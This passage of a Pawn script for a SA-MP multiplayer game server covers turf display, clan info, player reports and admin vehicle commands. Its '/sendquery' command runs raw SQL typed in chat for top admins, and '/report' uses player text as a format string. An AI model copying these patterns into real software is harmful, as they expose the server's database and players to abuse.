            if(i==106){GangZoneShowForPlayer(playerid, AllTurfsGangZones[106], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[12][zOwner])));}
            if(i==117){GangZoneShowForPlayer(playerid, AllTurfsGangZones[117], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[13][zOwner])));}
            if(i==127){GangZoneShowForPlayer(playerid, AllTurfsGangZones[127], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[14][zOwner])));}
            if(i==136){GangZoneShowForPlayer(playerid, AllTurfsGangZones[136], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[15][zOwner])));}
            if(i==147){GangZoneShowForPlayer(playerid, AllTurfsGangZones[147], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[16][zOwner])));}
            if(i==158){GangZoneShowForPlayer(playerid, AllTurfsGangZones[158], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[17][zOwner])));}
            if(i==166){GangZoneShowForPlayer(playerid, AllTurfsGangZones[166], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[18][zOwner])));}
            if(i==177){GangZoneShowForPlayer(playerid, AllTurfsGangZones[177], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[19][zOwner])));}
            if(i==188){GangZoneShowForPlayer(playerid, AllTurfsGangZones[188], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[20][zOwner])));}
            if(i==202){GangZoneShowForPlayer(playerid, AllTurfsGangZones[202], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[21][zOwner])));}
            if(i==213){GangZoneShowForPlayer(playerid, AllTurfsGangZones[213], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[22][zOwner])));}
            if(i==228){GangZoneShowForPlayer(playerid, AllTurfsGangZones[228], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[23][zOwner])));}
            if(i==242){GangZoneShowForPlayer(playerid, AllTurfsGangZones[242], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[24][zOwner])));}
            if(i==255){GangZoneShowForPlayer(playerid, AllTurfsGangZones[255], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[25][zOwner])));}
            if(i==270){GangZoneShowForPlayer(playerid, AllTurfsGangZones[270], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[26][zOwner])));}
            if(i==285){GangZoneShowForPlayer(playerid, AllTurfsGangZones[285], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[27][zOwner])));}
            if(i==297){GangZoneShowForPlayer(playerid, AllTurfsGangZones[297], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[28][zOwner])));}
            if(i==312){GangZoneShowForPlayer(playerid, AllTurfsGangZones[312], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[29][zOwner])));}
            if(i==327){GangZoneShowForPlayer(playerid, AllTurfsGangZones[327], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[30][zOwner])));}
            if(i==340){GangZoneShowForPlayer(playerid, AllTurfsGangZones[340], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[31][zOwner])));}
            if(i==350){GangZoneShowForPlayer(playerid, AllTurfsGangZones[350], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[32][zOwner])));}
            if(i==364){GangZoneShowForPlayer(playerid, AllTurfsGangZones[364], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[33][zOwner])));}
            if(i==377){GangZoneShowForPlayer(playerid, AllTurfsGangZones[377], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[34][zOwner])));}
            if(i==389){GangZoneShowForPlayer(playerid, AllTurfsGangZones[389], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[35][zOwner])));}
            if(i==403){GangZoneShowForPlayer(playerid, AllTurfsGangZones[403], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[36][zOwner])));}
            if(i==417){GangZoneShowForPlayer(playerid, AllTurfsGangZones[417], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[37][zOwner])));}
            if(i==428){GangZoneShowForPlayer(playerid, AllTurfsGangZones[428], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[38][zOwner])));}
            if(i==442){GangZoneShowForPlayer(playerid, AllTurfsGangZones[442], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[39][zOwner])));}
            if(i==456){GangZoneShowForPlayer(playerid, AllTurfsGangZones[456], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[40][zOwner])));}
            if(i==468){GangZoneShowForPlayer(playerid, AllTurfsGangZones[468], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[41][zOwner])));}
            if(i==477){GangZoneShowForPlayer(playerid, AllTurfsGangZones[477], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[42][zOwner])));}
            if(i==490){GangZoneShowForPlayer(playerid, AllTurfsGangZones[490], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[43][zOwner])));}
            if(i==502){GangZoneShowForPlayer(playerid, AllTurfsGangZones[502], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[44][zOwner])));}
            if(i==513){GangZoneShowForPlayer(playerid, AllTurfsGangZones[513], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[45][zOwner])));}
            if(i==526){GangZoneShowForPlayer(playerid, AllTurfsGangZones[526], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[46][zOwner])));}
            if(i==539){GangZoneShowForPlayer(playerid, AllTurfsGangZones[539], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[47][zOwner])));}
            }
            else{GangZoneShowForPlayer(playerid,AllTurfsGangZones[i],0x000000AA);}
		}*/
        for(new i = 0;i<sizeof(Turfs);i++)
		{
            GangZoneShowForPlayer(playerid, Turfs[i], GetTurfOwnerColor(GetFacIDFromName(TurfInfo[i][zOwner])));
		}
        for(new i = 0;i<sizeof(AllTurfsGangZones);i++)
		{
            if(i==0||i==9||i==15||i==25||i==34||i==42||i==52||i==62||i==69||i==79||i==89||i==99||i==106||i==117||i==127||i==136||i==147||i==158||i==166||i==177||i==188||i==202||i==213||i==228||i==242||i==255
            ||i==270||i==285||i==297||i==312||i==327||i==340||i==350||i==364||i==377||i==389||i==403||i==417||i==428||i==442||i==456||i==468||i==477||i==490||i==502||i==513||i==526||i==539){continue;}
            GangZoneShowForPlayer(playerid,AllTurfsGangZones[i],0x000000AA);
		}
		if(OnWar[playerid] != 9999)
		{
		new famil;
		new familtaraf;
		if(PlayerInfo[playerid][pLeader]) famil = PlayerInfo[playerid][pLeader];
		else famil = PlayerInfo[playerid][pMember];
//		new rang;
		for(new i = 0;i<Akharish;i++)
		{
		if(gPlayerLogged[i] && OnWar[i] == OnWar[playerid])
		{
		if(PlayerInfo[i][pMember] != famil && PlayerInfo[i][pLeader] != famil)
		{
		if(PlayerInfo[i][pLeader]) familtaraf = PlayerInfo[i][pLeader];
		else familtaraf = PlayerInfo[i][pMember];
		}
		}
		}
		if(familtaraf == 5)
		{
	//	rang = 0x5D7E8D77;
		}
		if(familtaraf == 6)
		{
	//	rang = 0x3E353577;
		}
		if(familtaraf == 12)
		{
	//	rang = 0x19AF2377;
		}
		if(familtaraf == 13)
		{
	//	rang = 0xFFBA0077;
		}
		if(familtaraf == 14)
		{
		//rang = 0x9900FF77;
		}
		if(familtaraf == 15)
		{
		//rang = 0x00ECEC77;
		}
		if(familtaraf == 19)
		{
//		rang = 0x0E47FFAA;
		}

		new rang2;
		new fam = TurfInfo[DynamicFactions[famil-1][fTurf]][zAttacker];

		if(fam == 5)
		{
		rang2 = 0x5D7E8DAA;
		}
		if(fam == 6)
		{
		rang2 = 0x3E3535AA;
		}
		if(fam == 12)
		{
		rang2 = 0x19AF23AA;
		}
		if(fam == 13)
		{
		rang2 = 0xFFBA00AA;
		}
		if(fam== 14)
		{
		rang2 = 0x9900FFAA;
		}
		if(fam == 15)
		{
		rang2 = 0x00ECECAA;
		}
		if(fam == 19)
		{
		rang2 = 0x0E47FFAA;
		}
		GangZoneFlashForPlayer(playerid,Turfs[DynamicFactions[famil-1][fTurf]],rang2);
		}
		return 1;
		}
		if(TurfShow[playerid] == 1)
		{
		TurfShow[playerid] = 0;
		SCM(playerid,COLOR_SINARANGNOT,"Turfs have been hidded from your game map.");




		/*for(new i = 0;i<sizeof(AllTurfsGangZones);i++)
		{
            GangZoneHideForPlayer(playerid,AllTurfsGangZones[i]);
		}*/
        for(new i = 0;i<sizeof(Turfs);i++)
		{
            GangZoneHideForPlayer(playerid, Turfs[i]);
		}
        for(new i = 0;i<sizeof(AllTurfsGangZones);i++)
		{
            if(i==0||i==9||i==15||i==25||i==34||i==42||i==52||i==62||i==69||i==79||i==89||i==99||i==106||i==117||i==127||i==136||i==147||i==158||i==166||i==177||i==188||i==202||i==213||i==228||i==242||i==255
            ||i==270||i==285||i==297||i==312||i==327||i==340||i==350||i==364||i==377||i==389||i==403||i==417||i==428||i==442||i==456||i==468||i==477||i==490||i==502||i==513||i==526||i==539){continue;}
            GangZoneHideForPlayer(playerid,AllTurfsGangZones[i]);
		}
	/*	GangZoneHideForPlayer(playerid,V15);
		GangZoneHideForPlayer(playerid,V16);
		GangZoneHideForPlayer(playerid,V17);
		GangZoneHideForPlayer(playerid,V18);
		GangZoneHideForPlayer(playerid,V19);
		GangZoneHideForPlayer(playerid,V20);
		GangZoneHideForPlayer(playerid,V21);
		GangZoneHideForPlayer(playerid,C9);*/
		}
		return 1;
		}
		/*
		if(!strcmp(cmd,"/clanturfs",true))
		{
		if(ClantShow[playerid] == 0)
		{
		if(TurfShow[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: first hide gang turfs (/turfs).");
		ClantShow[playerid] = 1;
		SCM(playerid,COLOR_SINA3,"Clan turfs was shown on map.");

		for(new i = 0;i<15;i++)
		{
		new c[512];
		format(c, sizeof(c), "0x%sCC", spInfo[i][sColor]);
		new color = HexToInt(c);
		GangZoneShowForPlayer(playerid,Sprayst[i],color);
		if(PlayerInfo[playerid][pClan] != 0) {
		if(Spraying[i] != 0) {
		new c2[512];
		format(c2, sizeof(c2), "0x%sCC", DynamicClans[Spraying[i]-1][cColor]);
		new color2 = HexToInt(c2);
		GangZoneFlashForPlayer(playerid,Sprayst[i],color2);
		}
		}
		}

		return 1;
		}
		if(ClantShow[playerid] == 1)
		{
		ClantShow[playerid] = 0;
		SCM(playerid,COLOR_SINA3,"Clan turfs was hide from map.");




		for(new i = 0;i<16;i++)
		{
		GangZoneHideForPlayer(playerid,Sprayst[i]);
		}
		}
		return 1;
		}
		*/
		new string[256];
		// This is By Me;d Sina
		if(!strcmp(cmd,"/sendquery",true))
		{
		if(PlayerInfo[playerid][pAdmin] < 13) return SCM(playerid,COLOR_YELLOW2,"Error: Unknown command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		new query[512];
		query = strtokEx(cmdtext,idx);
		if(!strlen(query)) return SCM(playerid,COL_SYN,"Syntax: /sendquery <Query>");
		mysql_function_query(handle,query,false,"SendQuery","");
		SCM(playerid,COLOR_SINARANG,"Query sent.");
		return 1;
		}

		/*
		if(!strcmp(cmd,"/createclan",true))
		{
		if(PlayerInfo[playerid][pAdmin] < 9) return SCM(playerid, COLOR_GREEN, "You are not owner");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		new tc[512];
		tc = strtokEx(cmdtext,idx);
		if(!strlen(tc)) return SCM(playerid,COL_SYN,"Syntax: /createclan [ClanTag]");
		new clan = PlayerInfo[playerid][pClan];
		new c = PlayerInfo[playerid][pClan];

		if(DynamicClans[0][cSlots] == 0) {
		new query2[512];
		mysql_format(handle, query2,sizeof(query2),"UPDATE `clans` SET cName='%e' WHERE cSQLid='0'", tc);
		mysql_function_query(handle, query2, false, "SendQuery", "");

		new query22[512];
		format(query22,sizeof(query22),"UPDATE `clans` SET cTag='%e' WHERE cSQLid='0'", tc);
		mysql_function_query(handle, query22, false, "SendQuery", "");

		new querys2[512];
		format(querys2,sizeof(querys2),"UPDATE `clans` SET cSlots='5' WHERE cSQLid='0'");
		mysql_function_query(handle, querys2, false, "SendQuery", "");

		SCM(playerid,COLOR_MAMAD,"Your Clan Created / ID 0");


		strmid(DynamicClans[0][cName], tc, 0, strlen(tc), 512);
		strmid(DynamicClans[0][cTag], tc, 0, strlen(tc), 512);
		DynamicClans[0][cSlot] = 0;
		DynamicClans[0][cSlots] = 5;
		SaveKonStrC(0, "cName", tc);
		SaveKonStrC(0, "cTag", tc);
		SaveKonValC(0, "cSlot", 0);
		SaveKonValC(0, "cSlots", 5);


		GetPlayerTag(playerid);
		GivePlayerTag(playerid, DynamicClans[c-1][cTag]);
		}

		else if(DynamicClans[1][cSlots] == 0) {
		new query3[512];
		format(query3,sizeof(query3),"UPDATE `clans` SET cName='%e' WHERE cSQLid='1'", tc);
		mysql_function_query(handle, query3, false, "SendQuery", "");

		new query222[512];
		format(query222,sizeof(query222),"UPDATE `clans` SET cTag='%e' WHERE cSQLid='1'", tc);
		mysql_function_query(handle, query222, false, "SendQuery", "");

		new querys3[512];
		format(querys3,sizeof(querys3),"UPDATE `clans` SET cSlots='5' WHERE cSQLid='1'");
		mysql_function_query(handle, querys3, false, "SendQuery", "");

		SCM(playerid,COLOR_MAMAD,"Your Clan Created / ID 1");


		strmid(DynamicClans[1][cName], tc, 0, strlen(tc), 512);
		strmid(DynamicClans[1][cTag], tc, 0, strlen(tc), 512);
		DynamicClans[1][cSlot] = 0;
		DynamicClans[1][cSlots] = 5;
		SaveKonStrC(1, "cName", tc);
		SaveKonStrC(1, "cTag", tc);
		SaveKonValC(1, "cSlot", 0);
		SaveKonValC(1, "cSlots", 5);

		GetPlayerTag(playerid);
		GivePlayerTag(playerid, DynamicClans[c-1][cTag]);
		}

		else if(DynamicClans[2][cSlots] == 0) {
		new query4[512];
		format(query4,sizeof(query4),"UPDATE `clans` SET cName='%e' WHERE cSQLid='2'", tc);
		mysql_function_query(handle, query4, false, "SendQuery", "");

		new query2222[512];
		format(query2222,sizeof(query2222),"UPDATE `clans` SET cTag='%e' WHERE cSQLid='2'", tc);
		mysql_function_query(handle, query2222, false, "SendQuery", "");

		new querys4[512];
		format(querys4,sizeof(querys4),"UPDATE `clans` SET cSlots='5' WHERE cSQLid='2'");
		mysql_function_query(handle, querys4, false, "SendQuery", "");

		SCM(playerid,COLOR_MAMAD,"Your Clan Created / ID 2");


		strmid(DynamicClans[2][cName], tc, 0, strlen(tc), 512);
		strmid(DynamicClans[2][cTag], tc, 0, strlen(tc), 512);
		DynamicClans[2][cSlot] = 0;
		DynamicClans[2][cSlots] = 5;
		SaveKonStrC(2, "cName", tc);
		SaveKonStrC(2, "cTag", tc);
		SaveKonValC(2, "cSlot", 0);
		SaveKonValC(2, "cSlots", 5);

		GetPlayerTag(playerid);
		GivePlayerTag(playerid, DynamicClans[c-1][cTag]);
		}


		else if(DynamicClans[3][cSlots] == 0) {
		new query5[512];
		format(query5,sizeof(query5),"UPDATE `clans` SET cName='%e' WHERE cSQLid='3'", tc);
		mysql_function_query(handle, query5, false, "SendQuery", "");

		new query22222[512];
		format(query22222,sizeof(query22222),"UPDATE `clans` SET cTag='%e' WHERE cSQLid='3'", tc);
		mysql_function_query(handle, query22222, false, "SendQuery", "");

		new querys5[512];
		format(querys5,sizeof(querys5),"UPDATE `clans` SET cSlots='5' WHERE cSQLid='3'");
		mysql_function_query(handle, querys5, false, "SendQuery", "");

		SCM(playerid,COLOR_MAMAD,"Your Clan Created / ID 3");

		strmid(DynamicClans[3][cName], tc, 0, strlen(tc), 512);
		strmid(DynamicClans[3][cTag], tc, 0, strlen(tc), 512);
		DynamicClans[3][cSlot] = 0;
		DynamicClans[3][cSlots] = 5;
		SaveKonStrC(3, "cName", tc);
		SaveKonStrC(3, "cTag", tc);
		SaveKonValC(3, "cSlot", 0);
		SaveKonValC(3, "cSlots", 5);

		GetPlayerTag(playerid);
		GivePlayerTag(playerid, DynamicClans[c-1][cTag]);
		}

		else if(DynamicClans[4][cSlots] == 0) {
		new query6[512];
		format(query6,sizeof(query6),"UPDATE `clans` SET cName='%e' WHERE cSQLid='4'", tc);
		mysql_function_query(handle, query6, false, "SendQuery", "");

		new query222222[512];
		format(query222222,sizeof(query222222),"UPDATE `clans` SET cTag='%e' WHERE cSQLid='4'", tc);
		mysql_function_query(handle, query222222, false, "SendQuery", "");

		new querys6[512];
		format(querys6,sizeof(querys6),"UPDATE `clans` SET cSlots='5' WHERE cSQLid='4'");
		mysql_function_query(handle, querys6, false, "SendQuery", "");

		SCM(playerid,COLOR_MAMAD,"Your Clan Created / ID 4");


		strmid(DynamicClans[4][cName], tc, 0, strlen(tc), 512);
		strmid(DynamicClans[4][cTag], tc, 0, strlen(tc), 512);
		DynamicClans[4][cSlot] = 0;
		DynamicClans[4][cSlots] = 5;
		SaveKonStrC(4, "cName", tc);
		SaveKonStrC(4, "cTag", tc);
		SaveKonValC(4, "cSlot", 0);
		SaveKonValC(4, "cSlots", 5);

		GetPlayerTag(playerid);
		GivePlayerTag(playerid, DynamicClans[c-1][cTag]);
		}

		else if(DynamicClans[5][cSlots] == 0) {
		new query7[512];
		format(query7,sizeof(query7),"UPDATE `clans` SET cName='%e' WHERE cSQLid='5'", tc);
		mysql_function_query(handle, query7, false, "SendQuery", "");

		new query2222222[512];
		format(query2222222,sizeof(query2222222),"UPDATE `clans` SET cTag='%e' WHERE cSQLid='5'", tc);
		mysql_function_query(handle, query2222222, false, "SendQuery", "");

		new querys7[512];
		format(querys7,sizeof(querys7),"UPDATE `clans` SET cSlots='5' WHERE cSQLid='5'");
		mysql_function_query(handle, querys7, false, "SendQuery", "");

		SCM(playerid,COLOR_MAMAD,"Your Clan Created / ID 5");

		strmid(DynamicClans[5][cName], tc, 0, strlen(tc), 512);
		strmid(DynamicClans[5][cTag], tc, 0, strlen(tc), 512);
		DynamicClans[5][cSlot] = 0;
		DynamicClans[5][cSlots] = 5;
		SaveKonStrC(5, "cName", tc);
		SaveKonStrC(5, "cTag", tc);
		SaveKonValC(5, "cSlot", 0);
		SaveKonValC(5, "cSlots", 5);

		GetPlayerTag(playerid);
		GivePlayerTag(playerid, DynamicClans[c-1][cTag]);
		}

		else if(DynamicClans[6][cSlots] == 0) {
		new query8[512];
		format(query8,sizeof(query8),"UPDATE `clans` SET cName='%e' WHERE cSQLid='6'", tc);
		mysql_function_query(handle, query8, false, "SendQuery", "");

		new query22222222[512];
		format(query22222222,sizeof(query22222222),"UPDATE `clans` SET cTag='%e' WHERE cSQLid='6'", tc);
		mysql_function_query(handle, query22222222, false, "SendQuery", "");

		new querys8[512];
		format(querys8,sizeof(querys8),"UPDATE `clans` SET cSlots='5' WHERE cSQLid='6'");
		mysql_function_query(handle, querys8, false, "SendQuery", "");

		SCM(playerid,COLOR_MAMAD,"Your Clan Created / ID 6");



		strmid(DynamicClans[6][cName], tc, 0, strlen(tc), 512);
		strmid(DynamicClans[6][cTag], tc, 0, strlen(tc), 512);
		DynamicClans[6][cSlot] = 0;
		DynamicClans[6][cSlots] = 5;
		SaveKonStrC(6, "cName", tc);
		SaveKonStrC(6, "cTag", tc);
		SaveKonValC(6, "cSlot", 0);
		SaveKonValC(6, "cSlots", 5);

		GetPlayerTag(playerid);
		GivePlayerTag(playerid, DynamicClans[c-1][cTag]);
		}

		else if(DynamicClans[7][cSlots] == 0) {
		new query9[512];
		format(query9,sizeof(query9),"UPDATE `clans` SET cName='%e' WHERE cSQLid='7'", tc);
		mysql_function_query(handle, query9, false, "SendQuery", "");

		new query222222222[512];
		format(query222222222,sizeof(query222222222),"UPDATE `clans` SET cTag='%e' WHERE cSQLid='7'", tc);
		mysql_function_query(handle, query222222222, false, "SendQuery", "");

		new querys9[512];
		format(querys9,sizeof(querys9),"UPDATE `clans` SET cSlots='5' WHERE cSQLid='7'");
		mysql_function_query(handle, querys9, false, "SendQuery", "");

		SCM(playerid,COLOR_MAMAD,"Your Clan Created / ID 7");

		strmid(DynamicClans[7][cName], tc, 0, strlen(tc), 512);
		strmid(DynamicClans[7][cTag], tc, 0, strlen(tc), 512);
		DynamicClans[7][cSlot] = 0;
		DynamicClans[7][cSlots] = 5
		SaveKonStrC(7, "cName", tc);
		SaveKonStrC(7, "cTag", tc);
		SaveKonValC(7, "cSlot", 0);
		SaveKonValC(7, "cSlots", 5);

		GetPlayerTag(playerid);
		GivePlayerTag(playerid, DynamicClans[c-1][cTag]);
		}
		else {SCM(playerid,COLOR_MAMAD,"CreateClan Is Closed. Please Speak With Founders");}
		return 1;
		}*/
		/*
		if (strcmp("/cballcr", cmdtext, true, 6) == 0)
			{
					DestroyDynamicObject(Ball);
					Ball = CreateDynamicObject(2114, 2782.3027,-2019.0826,13.5547-0.8, 0, 0, 96);
					return 1;
			}
			*/
		if(strcmp(cmd, "/claninfo", true) == 0 || strcmp(cmd, "/cinfo", true) == 0)
		{
		if(IsPlayerConnected(playerid))
			{
			if(PlayerInfo[playerid][pClan] == 0) return SCM(playerid,COLOR_YELLOW2,"Error: You aren't in clan.");
			new string1[128];
			new string2[128];
			new string3[128];
			new bizstring[512];
			new bbc[40];
			new clan = PlayerInfo[playerid][pClan];
			if(DynamicClans[clan-1][cBB] == 1) {bbc = "Before";}
			else if(DynamicClans[clan-1][cBB] == 2) {bbc = "After";}
			format(string1, 128, "{26B0BA}Clan information:{E5E3B3}\n{E5E3B3}Name: {26B0BA}%s \n{E5E3B3}Tag: {26B0BA}%s \n{E5E3B3}Your rank: {26B0BA}%d",DynamicClans[clan-1][cName],DynamicClans[clan-1][cTag],PlayerInfo[playerid][pcRank]);
			format(string2, 128, "{E5E3B3}Slots: {26B0BA}%d/%d \n{E5E3B3}ID: {26B0BA}%d \n{E5E3B3}BB: {26B0BA}%s",DynamicClans[clan-1][cSlot],DynamicClans[clan-1][cSlots],PlayerInfo[playerid][pClan],bbc);
			format(string3, 128, "{E5E3B3}Created date: {26B0BA}%s \n{E5E3B3}Expire days: {26B0BA}%d",DynamicClans[clan-1][cCreate],DynamicClans[clan-1][cExpire]);
			format(bizstring, 512, "%s\n%s\n%s",string1, string2, string3);
			ShowPlayerDialog(playerid, 4223, DIALOG_STYLE_MSGBOX, " {838383}Clan Information", bizstring, "Cancel","");
			}
			return 1;
		}
		if(strcmp(cmd, "/report", true) == 0)
		{
			 if(reportopen == 0) return SCM(playerid,COLOR_GG,"Error: Report is temporary locked.");
			 if(PINFO[playerid][pAdmin] > 0) return SCM(playerid,COLOR_GG,"Admins cannot use /report.");
			 if(Reported[playerid] != INVALID_PLAYER_ID) return SCM(playerid,COLOR_GG,"Wait for an admin to reply.");
			 GetPlayerName(playerid, sendername, sizeof(sendername));
			 new length = strlen(cmdtext);
			 while ((idx < length) && (cmdtext[idx] <= ' '))
			 {
				idx++;
			 }
			 new offset = idx;
			 new result[144];
			 while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
			 {
				result[idx - offset] = cmdtext[idx];
				idx++;
			 }
			 result[idx - offset] = EOS;
			 if(!strlen(result))
			 {
				SendMessage(playerid, COL_SYN, "Syntax: /report <Text>");
				return 1;
			 }
			 SvReports++;
			 IsOnReport[playerid] = 1;
			 format(string, sizeof(string), "[REPORT #%d]: %s(%d):{FFFFFF} %s",reportsc+1, sendername,playerid, (result));
			 ABroadCast(COLOR_LIGHTBLUE,string,1);
			 Reported[playerid] = INVALID_PLAYER_ID-1;
			 format(ReportText[playerid],100,result);
			 SendMessage(playerid, COLOR_YELLOW, "Your report has been sent to the admins.");
			 ReportTimer[playerid] = SetTimerEx("reportimer",300000,0,"i",playerid);
			 IsReported[playerid] = 1;
			 /*
			new strv[50];
		 for(new c=0;c<MAX_PLAYERS;c++)
		 {
			for(new n=0;n<MAX_PLAYERS;n++)
			{
			  if(ASAR[n] == 1 && Reported[c] != n && Helpme[c] != n && IsPlayerConnected(c))
			  {
				 format(strv,sizeof(strv),"/ar %i",playerid);
				 OnPlayerCommandText(n,strv);
				 //ReportMide[n] = 1;
				 break;
			  }
			}
		   }
		   */
			 return 1;
		}
  /*
		if(!strcmp(cmd,"/Hell",true))
		{
		  if(PINFO[playerid][pAdmin] < 11) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
		 if(JahanamSys == 1) {
		 new string[512];
		 GetPlayerName(playerid, sendername, sizeof(sendername));
		 format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} Admin %s {FF0000}disabled {FFFFFF} the hell system.", sendername);
		ABroadCast(COLOR_AdminWarn,string,1);
		JahanamSys = 0;
	 }
		else if(JahanamSys == 0) {
		 new string[512];
		 GetPlayerName(playerid, sendername, sizeof(sendername));
		 format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} Admin %s {00FF00}enabled {FFFFFF} the hell system.", sendername);
		 JahanamSys = 1;
		ABroadCast(COLOR_AdminWarn,string,1);
		 }
	 return 1;
		}
		*/

		/*if(!strcmp(cmd,"/safezone",true))
		{
		  if(PINFO[playerid][pAdmin] < 11) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
		 if(SafeOn == 1) {
		 //SCM(playerid,COLOR_GG,"SafeZone system has been locked successfully");
//		 new string[512];
		 GetPlayerName(playerid, sendername, sizeof(sendername));
		 format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} Admin %s closed SafeZone", sendername);
		ABroadCast(COLOR_AdminWarn,string,1);
		SafeOn = 0;
	 }
		else if(SafeOn == 0) {
		 //SCM(playerid,COLOR_GG,"SafeZone system has been unlocked succefully.");
		// new string[512];
		 GetPlayerName(playerid, sendername, sizeof(sendername));
		 format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} Admin %s opened SafeZone", sendername);
		 SafeOn = 1;
		ABroadCast(COLOR_AdminWarn,string,1);
		 }
	 return 1;
		}*/
		if(!strcmp(cmd,"/reporton",true))
		{
		  if(PINFO[playerid][pAdmin] < 12) return SCM(playerid,COLOR_SFPD,"You are not a founder.");
		  if(reportopen == 1) return SCM(playerid,COLOR_SINA3,"Report is already unlocked.");

		  SCM(playerid,COLOR_GG,"Report has been unlocked succefully.");
		  reportopen = 1;
		  return 1;
		}
		if(!strcmp(cmd,"/reportoff",true))
		{
		  if(PINFO[playerid][pAdmin] < 12) return SCM(playerid,COLOR_SFPD,"You are not a founder.");
		  if(reportopen == 0) return SCM(playerid,COLOR_SINA3,"Report is already locked.");

		  SCM(playerid,COLOR_GG,"Report has been locked succefully.");
		  reportopen = 0;
		  return 1;
		}
		if(strcmp(cmd, "/destroyveh", true) == 0 || strcmp(cmd, "/dv", true) == 0)
		{
		 if(PlayerInfo[playerid][pAdmin] < 4 && PINFO[playerid][pSponser] == 0)
		 {
		 SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
		 return 1;
		 }
		   if(!IsPlayerInAnyVehicle(playerid))
		   {
		   SCM(playerid,COL_SYN,"Error: You are not in a vehicle.");
		   return 1;
		   }
		  if(IsPlayerConnected(playerid))
		  {
		  GetPlayerName(playerid, sendername, sizeof(sendername));
		   new veh = GetPlayerVehicleID(playerid);
		   if(veh <= akharinvehicle)
		   {
		   SCM(playerid,COL_SYN,"This is a Static Vehicle.");
		   return 1;
		   }
		   if(OwnedMashin[veh] == 1)
		   {
		   SCM(playerid,COLOR_YELLOW2,"Error: This vehicle is a personal vehicle.");
		   return 1;
		   }
		   if(IsValidObject(ShipObject[GetPlayerVehicleID(playerid)]))return Error(playerid, "Error: You are in an UFO")
		   GetVehicleParamsEx(veh,engine,lights,alarm,doors,bonnet,boot,objective);
							SetVehicleParamsEx(veh,VEHICLE_PARAMS_OFF,lights,alarm,doors,bonnet,boot,objective);
							EngineSTATE[veh] = 0;
							LightsSTATE[veh] = 0;
							bonnetSTATE[veh] = 0;
							bootSTATE[veh] = 0;
			VehOwned[veh] = 0;
			VehOwner[veh] = 9999;
		   DestroyVehicle(veh);
		   VehicleTurbo[veh] = 0;
		   vJump[veh] = 0;
		   OilInCar[veh] = 0;
           if(VehLinkDare[veh] == 1)
           {
             VehLinkDare[veh] = 0;
             VehLink[veh][0] = '\0';
           }
		   new striing[128];
		   format(striing, sizeof(striing), "[Admin-Warn]:{ffffff} Admin %s has destroyed vehicleid %d.", sendername,veh);
		   ABroadCast(COLOR_AdminWarn,striing,1);
		   //SCM(playerid,COLOR_WHITE,"Vehicle destroyed.");
		   IsValidAVeh[veh] = false;
		   return 1;
		  }
		return 1;
		}
		/*
		if(strcmp(cmd, "/edestroyveh", true) == 0 || strcmp(cmd, "/edv", true) == 0)
		{
		 if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
		   if(!IsPlayerInAnyVehicle(playerid))
		   {
		   SCM(playerid,COL_SYN,"Error: You aren't in any vehicle.");
		   return 1;
		   }
		  if(IsPlayerConnected(playerid))
		  {
		  GetPlayerName(playerid, sendername, sizeof(sendername));
		   new veh = GetPlayerVehicleID(playerid);
		   if(veh <= akharinvehicle || CreatedCars[veh])
		   {
		   SCM(playerid,COL_SYN,"Error: You can't destroy this vehicle.");
		   return 1;
		   }
		   if(OwnedMashin[veh] == 1)
		   {
		   SCM(playerid,COL_SYN,"Error: You can't destroy Players vehicle");
		   return 1;
		   }
		   if(IsValidObject(ShipObject[GetPlayerVehicleID(playerid)]))return Error(playerid, "Error: You are in an UFO")
		   GetVehicleParamsEx(veh,engine,lights,alarm,doors,bonnet,boot,objective);
							SetVehicleParamsEx(veh,VEHICLE_PARAMS_OFF,lights,alarm,doors,bonnet,boot,objective);
							EngineSTATE[veh] = 0;
							LightsSTATE[veh] = 0;
							bonnetSTATE[veh] = 0;
